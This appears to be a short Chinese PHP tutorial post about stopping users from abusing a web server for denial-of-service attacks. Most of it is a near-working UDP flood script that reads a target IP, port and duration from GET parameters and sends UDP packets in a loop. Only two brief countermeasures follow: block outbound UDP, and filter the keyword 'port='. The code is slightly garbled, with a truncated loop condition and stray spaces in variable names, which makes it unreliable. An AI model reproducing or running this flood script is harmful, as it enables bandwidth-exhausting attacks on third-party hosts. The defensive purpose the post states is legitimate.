用PHP程式碼呼叫sockets,直接用伺服器的網路攻擊別的IP,常見程式碼如下:
複製程式碼 程式碼如下:
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE) ;
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $ time+$exec_time;
for($i=0;$i$out .= "X";
}
while(1){
$ packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " .time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
另外,對於沒加密的php攻擊代碼,還可以用以下辦法處理:
1.在IP策略,或防火牆中,禁止所有udp向外發送2.用一流信息監控,在SQL攔截及網址攔截中,攔截port=這個關鍵字
以上就介紹了php程式碼 防止使用者利用PHP程式碼DOS造成用光網路頻寬,包含了php程式碼的內容,希望對PHP教學有興趣的朋友有幫助。